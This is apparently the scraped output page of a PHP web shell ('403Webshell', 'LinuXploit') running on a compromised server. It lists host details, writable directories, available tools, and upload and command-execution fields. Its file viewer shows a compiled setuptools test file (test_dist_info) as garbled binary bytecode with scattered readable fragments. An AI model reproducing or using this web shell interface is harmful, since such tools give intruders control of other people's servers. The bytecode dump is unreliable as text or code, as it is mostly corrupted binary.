403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/tests/__pycache__/test_dist_info.cpython-313.pyc
�

�h�����SrSSKrSSKrSSKrSSKrSSKrSSKJr SSKrSSK	r	SSK
Jr SSKJ
r
 \"\RRSS9r"S	S
5r"SS5rS
rSrg)z$Test .dist-info style distributions.�N)�partial)�unpack_archive�)�DALS�utf-8��encodingc��\rSrSr\"S5r\S5r\RS5r
SrSrSr
Sr\RR!S	S
5S5rSrg
)�TestDistInfo�z�
        Metadata-Version: 1.2
        Requires-Dist: splort (==4)
        Provides-Extra: baz
        Requires-Dist: quux (>=1.1); extra == 'baz'
        c�l�SUR55nURSRU5-$)Nc3�Z# �UH!upSR"S0[5D6v� M# g7f)z{key}: {value}
N�)�format�locals)�.0�key�values   �A/usr/lib/python3/dist-packages/setuptools/tests/test_dist_info.py�	<genexpr>�.TestDistInfo.build_metadata.<locals>.<genexpr> s#���X��:�3�#�*�*�6�V�X�6��s�)+�)�items�
metadata_base�join)�cls�kwargs�liness   r�build_metadata�TestDistInfo.build_metadatas+��X�����X��� � �2�7�7�5�>�1�1�c��SnX-nUR5 US-nURSS9nURUSS9 SnX-nUR5 US-nURSS	S
9nURUSS9 [U5$)Nz%VersionedDistribution-2.718.dist-info�METADATA�VersionedDistribution)�Namerrz!UnversionedDistribution.dist-info�UnversionedDistribution�0.3)r%�Version)�mkdirr�
write_text�str)�self�tmpdir�dist_info_name�	versioned�filename�content�unversioneds       r�metadata�TestDistInfo.metadata#s���@���+�	������z�)���%�%�(�&�
��	���G�g��6�<���-��������+���%�%�*��&�
��	���G�g��6��6�{�r!c���[S[R"U555n[U5S:XdU5eUSnUSnURS:XdeURS:Xdeg)Nc3�<# �UHoRU4v� M g7f�N)�project_name)r�ds  rr�-TestDistInfo.test_distinfo.<locals>.<genexpr>;s���
�)S�A�^�^�Q��)S�s��r&r$z2.718r')�dict�
pkg_resources�find_distributions�len�version)r,r3�distsr2r/s     r�
test_distinfo�TestDistInfo.test_distinfo:sy���
�)6�)I�)I�(�)S�
�
���5�z�Q��%��%���5�6���1�2�	�� � �G�+�+�+��"�"�e�+�+�+r!c�b�Sn[[[RRU55n[R
"U5HfnUR
5USS:XdeUR
SS9US[RR	S5/:XdeURS/:XaMfe g)N)z	splort==4z	quux>=1.1r)�baz)�extrasrzquux>=1.1;extra=="baz"rE)�list�mapr=�Requirement�parser>�requiresrF)r,r3�specsrKr9s     r�test_conditional_dependencies�*TestDistInfo.test_conditional_dependenciesGs���(����M�5�5�;�;�U�C�D���1�1�(�;�A��:�:�<�8�B�Q�<�/�/�/��:�:�X�:�.�����)�)�/�/�0H�I�3��
���8�8��w�&�&�&�
<r!c�\�SnUS-RUSS9 [R"S[R[R-5n[SUSS9nUR(deURUR5(de[URS	55(aeg
)z1
Supplying an invalid version crashes dist_info.
z@[metadata]
name=proj
version=42
[egg_info]
tag_build=invalid!!!
�	setup.cfgrrzinvalid version�	dist_infoF)�cwd�check�*.dist-infoN)r*�re�compile�M�I�run_command_inner�
returncode�search�stdoutrG�glob)r,�tmp_path�config�msg�procs     r�test_invalid_version�!TestDistInfo.test_invalid_versionSs���Y��	�K�	�+�+�F�W�+�E��j�j�*�B�D�D�2�4�4�K�8�� ��(�%�H��������z�z�$�+�+�&�&�&�&���
�
�m�4�5�5�5�5�5r!c	��SnUS-RUSS9 [[SSUS95 [UR	S55nUR
R
S	5(de[R"U5 [[SS
SUS95 [UR	S55nUR
R
S5(deg)
Nz
        [metadata]
        name=proj
        version=42
        [egg_info]
        tag_date=1
        tag_build=.post
        rPrrrQz	--no-date�rRrTzproj-42z--tag-buildz.azproj-42a)	r*�print�run_command�nextr]�name�
startswith�shutil�rmtree)r,r^r_rQs    r�test_tag_arguments�TestDistInfo.test_tag_arguments_s�����
�K�	�+�+�F�W�+�E�
�k�+�{��A�B�����}�5�6�	��~�~�(�(��3�3�3�3��
�
�i� �
�k�+�}�d��I�J�����}�5�6�	��~�~�(�(��4�4�4�4r!�
keep_egg_info)FTc��SnUS-RUSS9 US-nUR5 U(aS/O/n[SSU/UQ7S	U06 [[	URS
555S:Xde[[	URS
555S:Xde[
U5n[[	URS
555U:Xde[[	URS
555S:Xde[[	URS555S:Xde[[	URS555S:Xdeg)Nz [metadata]
name=proj
version=42
rPrr�__outz--keep-egg-inforQz--output-dirrRrTrrz
*.egg-infoz	*.__bkp__)r*r)rgr?rGr]�int)r,r^ror_�out�opts�expected_egg_infos       r�test_output_dir�TestDistInfo.test_output_dirss'��6��	�K�	�+�+�F�W�+�E��� ���	�	��&3�!�"����K���J�t�J��J��4�����/�0�1�Q�6�6�6��4��
�
�m�4�5�6�!�;�;�;��
�.���4�����.�/�0�4E�E�E�E��4��
�
�l�3�4�5��:�:�:��4�����-�.�/�1�4�4�4��4��
�
�k�2�3�4��9�9�9r!rN)�__name__�
__module__�__qualname__�__firstlineno__rr�classmethodr�pytest�fixturer3rBrMrbrm�mark�parametrizerv�__static_attributes__rr!rrrsv���	��M��2��2��^�^����,,�
'�
6�5�(�[�[���_�m�<�
:�=�
:r!rc��\rSrSrSr\"S5r/SQr\RRSSR55\RRSS/5\RRS	\5S
555rSr
g)
�TestWheelCompatibility�zMake sure the .dist-info directory produced with the ``dist_info`` command
is the same as the one produced by ``bdist_wheel``.
ae
    [metadata]
    name = {name}
    version = {version}

    [options]
    install_requires =
        foo>=12; sys_platform != "linux"

    [options.extras_require]
    test = pytest

    [options.entry_points]
    console_scripts =
        executable-name = my_package.module:function
    discover =
        myproj = my_package.other_module:function
    ))rr)�.postz[egg_info]
tag_build = post
)r�z[egg_info]
tag_build = .post
)r�z)[egg_info]
tag_build = post
tag_date = 1
)�.devz[egg_info]
tag_build = .dev
)r�z)[egg_info]
tag_build = .dev
tag_date = 1
)�a1zgg_info]
tag_build = .a1
)z+localz[egg_info]
tag_build = +local
rizmy-proj my_proj my.proj My.Projr@z0.42.13)�suffix�cfgc�\�URRXS9U-nSH*nX7-R5 X7-S-RUSS9 M, [	SUS-S9 [UR
S	55n[X�S
-5 [UR
S55n	[	SUS
-S9 [UR
S55n
U
RU	R:XdeU
RRSUU35(deSH!n[X�-5[X�-5:XaM!e g)N)rir@)�	dir_wheel�dir_distrPrr�bdist_wheelr�rezdir_wheel/dist/*.whl�unpackzunpack/*.dist-inforQr�zdir_dist/*.dist-infozmy_proj-)r#zentry_points.txt)�SETUPCFGrr)r*rgrhr]rrirj�read)r,rir@r^r�r�r_�i�wheel�wheel_dist_inforQ�files            r�&test_dist_info_is_the_same_as_in_wheel�=TestWheelCompatibility.test_dist_info_is_the_same_as_in_wheel�s!�����%�%�4�%�A�C�G��(�A�
�\� � �"�
�\�K�
'�3�3�F�W�3�M�)�	�M�x�+�'=�>��X�]�]�#9�:�;���u��1�2��x�}�}�-A�B�C���K�X�
�%:�;�����'=�>�?�	��~�~��!5�!5�5�5�5��~�~�(�(�8�G�9�V�H�)E�F�F�F�F�2�D��	�(�)�T�/�2H�-I�I�I�I�3r!rN)rxryrzr{�__doc__rr��
EGG_INFO_OPTSr}rr��splitr�r�rr!rr�r��s�����	��H�*
�M��[�[���V�%F�%L�%L�%N�O��[�[���Y���4��[�[���.�
�>�J�?�5�P�Jr!r�c���[R[RSSSS.UEn[RSS/[[U5Qn[R"U40UD6$)NTr)�stderrr\�textr	rSz-cz __import__('setuptools').setup())�
subprocess�STDOUT�PIPE�sys�
executablerHr+�run)�cmdrrts   rrYrY�s^���#�#��/�/������
�D��>�>�4�!C�
T�c�#�s�m�
T�C��>�>�#�&��&�&r!c�,�[U0UD6R$r7)rYr\)�argsrs  rrgrg�s���d�-�f�-�4�4�4r!)r��pathlibrUrkr�r��	functoolsrr}r=�setuptools.archive_utilr�textwrapr�Path�	read_textr�rr�rYrgrr!r�<module>r�s`��*��	�
��
��
��2���w�|�|�%�%��8��m:�m:�`=J�=J�@
'�5r!

Youez - 2016 - github.com/yon3zu
LinuXploit